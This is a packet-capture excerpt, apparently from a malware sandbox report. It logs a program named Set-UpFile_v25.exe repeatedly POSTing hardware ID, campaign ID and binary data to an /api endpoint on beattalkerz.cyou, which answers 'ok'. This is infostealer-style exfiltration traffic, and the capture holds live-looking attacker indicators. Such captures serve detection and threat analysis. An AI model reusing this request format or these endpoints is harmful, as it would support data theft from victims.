2025-01-07 13:37:13 UTC	1369	IN	Data Raw: 2b 61 4b 49 6e 4d 64 2b 4f 32 69 72 4c 59 4d 62 78 54 52 33 51 65 4f 74 38 4d 47 4b 57 65 31 68 2b 35 77 4d 39 4c 62 61 7a 35 63 4a 31 7a 6f 70 34 35 6f 4a 2f 48 74 66 35 50 77 78 31 31 64 67 59 6b 7a 78 55 33 31 71 7a 62 46 72 62 52 79 55 30 69 6f 76 63 2f 32 32 76 44 6a 44 2b 67 70 4a 69 31 76 6c 2f 4a 42 68 55 6d 58 33 71 61 48 47 69 43 79 38 4e 52 37 35 57 58 47 6a 2b 69 34 54 2b 61 4b 49 6e 4d 64 2b 4f 32 69 72 4c 59 4d 62 78 54 52 33 51 65 4f 74 38 4d 61 62 57 39 39 43 2b 4a 30 74 70 55 49 2b 57 76 62 70 31 6c 32 39 45 78 75 4a 6e 4a 76 61 59 77 31 52 31 59 4e 56 42 71 2f 51 41 6f 6c 59 7a 44 41 50 72 67 31 31 30 73 39 4b 6c 6f 30 6d 53 31 36 46 43 67 37 73 6e 7a 70 6c 66 4a 45 77 42 78 47 57 71 51 55 33 54 41 33 6f 5a 47 35 35 58 47 46 44 53 69 72 Data Ascii: +aKInMd+O2irLYMbxTR3QeOt8MGKWe1h+5wM9Lbaz5cJ1zop45oJ/Htf5Pwx11dgYkzxU31qzbFrbRyU0iovc/22vDjD+gpJi1vl/JBhUmX3qaHGiCy8NR75WXGj+i4T+aKInMd+O2irLYMbxTR3QeOt8MabW99C+J0tpUI+Wvbp1l29ExuJnJvaYw1R1YNVBq/QAolYzDAPrg110s9Klo0mS16FCg7snzplfJEwBxGWqQU3TA3oZG55XGFDSir
2025-01-07 13:37:13 UTC	1369	IN	Data Raw: 32 7a 48 62 77 6f 38 6d 37 70 67 50 62 42 51 42 34 47 69 33 59 41 47 71 63 6b 64 4a 52 71 49 6e 41 47 6a 75 69 34 53 79 54 61 34 6d 65 4b 61 44 6e 68 2f 6a 6e 44 4a 56 65 55 6d 63 4f 4b 64 34 41 59 61 57 31 2b 41 4f 77 31 39 6f 59 48 4f 2b 39 61 63 67 6f 69 39 6c 50 33 6f 32 62 38 76 59 4d 32 58 46 48 65 41 51 55 39 6a 51 33 6e 4a 75 58 4e 37 54 52 32 68 70 6a 6f 71 45 2f 68 57 75 32 7a 48 62 77 6f 38 76 5a 34 51 4b 58 48 56 38 37 45 57 72 65 51 33 37 49 78 5a 55 44 39 35 2b 5a 48 53 37 77 71 33 6e 65 50 5a 69 5a 54 39 36 4e 6d 2f 4c 32 44 4e 6c 73 54 58 45 65 50 38 73 54 49 61 57 31 2b 41 4f 77 31 39 6f 59 43 4e 6a 37 54 73 73 6f 6d 39 42 32 6f 4f 37 4a 37 61 5a 58 32 33 42 53 63 68 67 70 69 69 59 63 32 62 72 44 45 72 66 4a 33 68 70 6a 6f 72 55 2f 68 57 Data Ascii: 2zHbwo8m7pgPbBQB4Gi3YAGqckdJRqInAGjui4SyTa4meKaDnh/jnDJVeUmcOKd4AYaW1+AOw19oYHO+9acgoi9lP3o2b8vYM2XFHeAQU9jQ3nJuXN7TR2hpjoqE/hWu2zHbwo8vZ4QKXHV87EWreQ37IxZUD95+ZHS7wq3nePZiZT96Nm/L2DNlsTXEeP8sTIaW1+AOw19oYCNj7Tssom9B2oO7J7aZX23BSchgpiiYc2brDErfJ3hpjorU/hW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49750	104.21.25.52	443	7272	C:\Users\user\Desktop\Set-UpFile_v25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:37:13 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GEC2K66UIK1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18120 Host: beattalkerz.cyou
2025-01-07 13:37:13 UTC	15331	OUT	Data Raw: 2d 2d 47 45 43 32 4b 36 36 55 49 4b 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 37 31 46 30 30 33 35 30 46 44 30 31 37 42 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 0d 0a 2d 2d 47 45 43 32 4b 36 36 55 49 4b 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 45 43 32 4b 36 36 55 49 4b 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 47 45 43 32 4b 36 36 55 49 4b 31 0d 0a 43 6f 6e 74 65 Data Ascii: --GEC2K66UIK1Content-Disposition: form-data; name="hwid"C771F00350FD017B33642DA608956FF1--GEC2K66UIK1Content-Disposition: form-data; name="pid"2--GEC2K66UIK1Content-Disposition: form-data; name="lid"hRjzG3--ZINA--GEC2K66UIK1Conte
2025-01-07 13:37:13 UTC	2789	OUT	Data Raw: 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c Data Ascii: f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR
2025-01-07 13:37:14 UTC	1129	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 13:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gn6tbn84j14igjqi6t13q672i4; expires=Sat, 03 May 2025 07:23:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=anuwvDI67Q4k88LKAkHxRZjnd1jftBFcSBiNrqPLM9GlBwOwjlKzfeiE5FyCRPZA1%2BR5%2BlqU87BzOchb0NS6J%2BxzYel2kEM%2F56gg7Qx2XNZ6h%2FPBsKYJ1ehhPYMk6hK9KGRZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe4575e4e0cf795-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1498&min_rtt=1498&rtt_var=562&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2838&recv_bytes=19075&delivery_rate=1946666&cwnd=187&unsent_bytes=0&cid=16a3eefb1a737626&ts=611&x=0"
2025-01-07 13:37:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-07 13:37:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49751	104.21.25.52	443	7272	C:\Users\user\Desktop\Set-UpFile_v25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:37:15 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0J1ENAKYSQRTU5UCL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8777 Host: beattalkerz.cyou
2025-01-07 13:37:15 UTC	8777	OUT	Data Raw: 2d 2d 30 4a 31 45 4e 41 4b 59 53 51 52 54 55 35 55 43 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 37 31 46 30 30 33 35 30 46 44 30 31 37 42 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 0d 0a 2d 2d 30 4a 31 45 4e 41 4b 59 53 51 52 54 55 35 55 43 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 4a 31 45 4e 41 4b 59 53 51 52 54 55 35 55 43 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d Data Ascii: --0J1ENAKYSQRTU5UCLContent-Disposition: form-data; name="hwid"C771F00350FD017B33642DA608956FF1--0J1ENAKYSQRTU5UCLContent-Disposition: form-data; name="pid"2--0J1ENAKYSQRTU5UCLContent-Disposition: form-data; name="lid"hRjzG3--ZINA--
2025-01-07 13:37:15 UTC	1125	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 13:37:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3l6q91cm9fkagubm7ok9qosgdv; expires=Sat, 03 May 2025 07:23:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9xM1SSYFDW3Lzji8GcyhREISAhS6n7PzUeO0aEaarRY1i6l8FiBE2y8jafR%2F%2BgFByjWnTnl7eNrC9ke06n1DXoTiHiBQWfJ38fPC6MwkTsDwe%2FQFSunS%2Bh4qd2Ma6xyVmzSa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe457660c8f8cb7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2004&min_rtt=2001&rtt_var=757&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2839&recv_bytes=9715&delivery_rate=1439132&cwnd=168&unsent_bytes=0&cid=5276a566c32babf3&ts=483&x=0"
2025-01-07 13:37:15 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-07 13:37:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49752	104.21.25.52	443	7272	C:\Users\user\Desktop\Set-UpFile_v25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:37:16 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B7GDPGPLHYU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20394 Host: beattalkerz.cyou
2025-01-07 13:37:16 UTC	15331	OUT	Data Raw: 2d 2d 42 37 47 44 50 47 50 4c 48 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 37 31 46 30 30 33 35 30 46 44 30 31 37 42 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 0d 0a 2d 2d 42 37 47 44 50 47 50 4c 48 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 37 47 44 50 47 50 4c 48 59 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 42 37 47 44 50 47 50 4c 48 59 55 0d 0a 43 6f 6e 74 65 Data Ascii: --B7GDPGPLHYUContent-Disposition: form-data; name="hwid"C771F00350FD017B33642DA608956FF1--B7GDPGPLHYUContent-Disposition: form-data; name="pid"3--B7GDPGPLHYUContent-Disposition: form-data; name="lid"hRjzG3--ZINA--B7GDPGPLHYUConte
2025-01-07 13:37:16 UTC	5063	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 Data Ascii: lrQMn 64F6(X&7~`aO@
2025-01-07 13:37:21 UTC	1124	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 13:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ijfodfcc5ian98c0s145t7ib7f; expires=Sat, 03 May 2025 07:23:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yMYPChR5HnKXeE5MRGqYpFNsN0d1nBwtr5su0UdtTB11EzdDUTQ3r7E5QewPzMB3HGgvexbBKJlIjfvgQgL8qc30MwdlYFuHY4%2BxTlhNTHr0EZ0qbxprDLrgH556V%2FyAkfrt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe4576dd93a80e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1544&min_rtt=1528&rtt_var=585&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21349&delivery_rate=1910994&cwnd=202&unsent_bytes=0&cid=43ca3ba7aed26fd2&ts=5400&x=0"
2025-01-07 13:37:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-07 13:37:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49754	104.21.25.52	443	7272	C:\Users\user\Desktop\Set-UpFile_v25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:37:22 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8Z8YAVH559VDX1P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7111 Host: beattalkerz.cyou
2025-01-07 13:37:22 UTC	7111	OUT	Data Raw: 2d 2d 38 5a 38 59 41 56 48 35 35 39 56 44 58 31 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 37 31 46 30 30 33 35 30 46 44 30 31 37 42 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 0d 0a 2d 2d 38 5a 38 59 41 56 48 35 35 39 56 44 58 31 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 5a 38 59 41 56 48 35 35 39 56 44 58 31 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 38 5a 38 59 41 56 Data Ascii: --8Z8YAVH559VDX1PContent-Disposition: form-data; name="hwid"C771F00350FD017B33642DA608956FF1--8Z8YAVH559VDX1PContent-Disposition: form-data; name="pid"1--8Z8YAVH559VDX1PContent-Disposition: form-data; name="lid"hRjzG3--ZINA--8Z8YAV
2025-01-07 13:37:23 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 13:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f2qagcki02g497gdudu3u2gpq0; expires=Sat, 03 May 2025 07:24:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QmW0IVzXdgvWHXN%2FGa3d2KvRnHyYLVZjY5QMQ%2ByprCzSZIWkss%2FvRh%2BoQQLJrbmn6YAj3jT%2BpuHV4qjleHVBfuRQEDXz9rcVH8dTx9LPa%2B0WsAVhSg0ghm7g5iqeT%2BXo0p9Y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe45795bba21899-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1530&min_rtt=1520&rtt_var=590&sent=5&recv=12&lost=0&retrans=0&sent_bytes=2840&recv_bytes=8025&delivery_rate=1823860&cwnd=153&unsent_bytes=0&cid=90b8a533f158c954&ts=783&x=0"
2025-01-07 13:37:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-07 13:37:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49755	104.21.25.52	443	7272	C:\Users\user\Desktop\Set-UpFile_v25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:37:24 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DQ9HCLZXYVNW0P7R User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1241 Host: beattalkerz.cyou
2025-01-07 13:37:24 UTC	1241	OUT	Data Raw: 2d 2d 44 51 39 48 43 4c 5a 58 59 56 4e 57 30 50 37 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 37 31 46 30 30 33 35 30 46 44 30 31 37 42 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 0d 0a 2d 2d 44 51 39 48 43 4c 5a 58 59 56 4e 57 30 50 37 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 51 39 48 43 4c 5a 58 59 56 4e 57 30 50 37 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 44 51 39 Data Ascii: --DQ9HCLZXYVNW0P7RContent-Disposition: form-data; name="hwid"C771F00350FD017B33642DA608956FF1--DQ9HCLZXYVNW0P7RContent-Disposition: form-data; name="pid"1--DQ9HCLZXYVNW0P7RContent-Disposition: form-data; name="lid"hRjzG3--ZINA--DQ9
2025-01-07 13:37:24 UTC	1130	IN	HTTP/1.1 200 OK Date: Tue, 07 Jan 2025 13:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s397q57r5r7diuce45fg0rhj3i; expires=Sat, 03 May 2025 07:24:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DGcOTgdeZ6LZN%2FkaJqlo0Bl109LHzZajcUz8u7O4GWA%2F4seJj1ixX%2BtfJglw5iVf8%2F2vTjvizf9hDnkbSRohBfFABSy20%2F8lPbX%2FPSAzcobabkMAsMf9AtCf%2FsyOHbQ59YcA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fe4579ffe0b8c30-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2012&min_rtt=1983&rtt_var=802&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2156&delivery_rate=1316501&cwnd=218&unsent_bytes=0&cid=c6944622ed0f87d1&ts=451&x=0"
2025-01-07 13:37:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-07 13:37:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49756	104.21.25.52	443	7272	C:\Users\user\Desktop\Set-UpFile_v25.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 13:37:26 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DPCH7IOTRU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586472 Host: beattalkerz.cyou
2025-01-07 13:37:26 UTC	15331	OUT	Data Raw: 2d 2d 44 50 43 48 37 49 4f 54 52 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 37 31 46 30 30 33 35 30 46 44 30 31 37 42 33 33 36 34 32 44 41 36 30 38 39 35 36 46 46 31 0d 0a 2d 2d 44 50 43 48 37 49 4f 54 52 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 50 43 48 37 49 4f 54 52 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 0d 0a 2d 2d 44 50 43 48 37 49 4f 54 52 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --DPCH7IOTRUContent-Disposition: form-data; name="hwid"C771F00350FD017B33642DA608956FF1--DPCH7IOTRUContent-Disposition: form-data; name="pid"1--DPCH7IOTRUContent-Disposition: form-data; name="lid"hRjzG3--ZINA--DPCH7IOTRUContent-D
2025-01-07 13:37:26 UTC	15331	OUT	Data Raw: 31 76 28 bf f9 1f 5f b5 28 c6 85 0d e9 17 93 8e 5f 5b 35 eb dd d5 39 6c 8b 8c 8a aa e4 6d 93 59 6e 4e 13 dd 7a 45 4d 2a 71 d0 de 27 74 31 4b 15 1b 51 11 7f 9c 09 bc 0f 42 65 97 6a 66 4a af f1 e3 06 06 b7 f2 0a 89 8f 61 2f 75 c2 40 89 52 25 82 fe 3c bd d1 50 1b 33 74 e4 ec a4 76 f8 5f 1f f7 89 da 60 6e b7 f4 13 9c f9 9f 17 1e 9c 5a 33 9f 91 e9 aa 7a 90 ad 8e 66 4f ab 9b b2 df bf 4f 85 e8 3b 4c 85 6c e8 ab e6 1d 6c aa 9e a8 06 25 49 7b 42 0a ef ce b4 74 71 9e c9 af c0 0d f2 f7 40 5b 50 75 74 6f c2 69 ce 8e d9 42 93 30 f7 43 29 7b 71 d3 8c 21 17 37 1f e5 ae 55 de 10 de 86 f3 f9 eb eb 35 07 a9 e7 d9 e9 f3 3e 31 c2 00 e8 45 50 ad 51 29 34 cb 22 31 fa 4f f1 ee d5 93 7e cb 5f c2 73 40 8f b0 ef 6d dd 27 a0 a7 1a b0 83 77 af 27 1f fc e4 ba 9a 52 16 d8 e9 a6 c2 77 Data Ascii: 1v(_(_[59lmYnNzEM*q't1KQBejfJa/u@R%<P3tv_`nZ3zfOO;Lll%I{Btq@[PutoiB0C){q!7U5>1EPQ)4"1O~_s@m'w'Rw
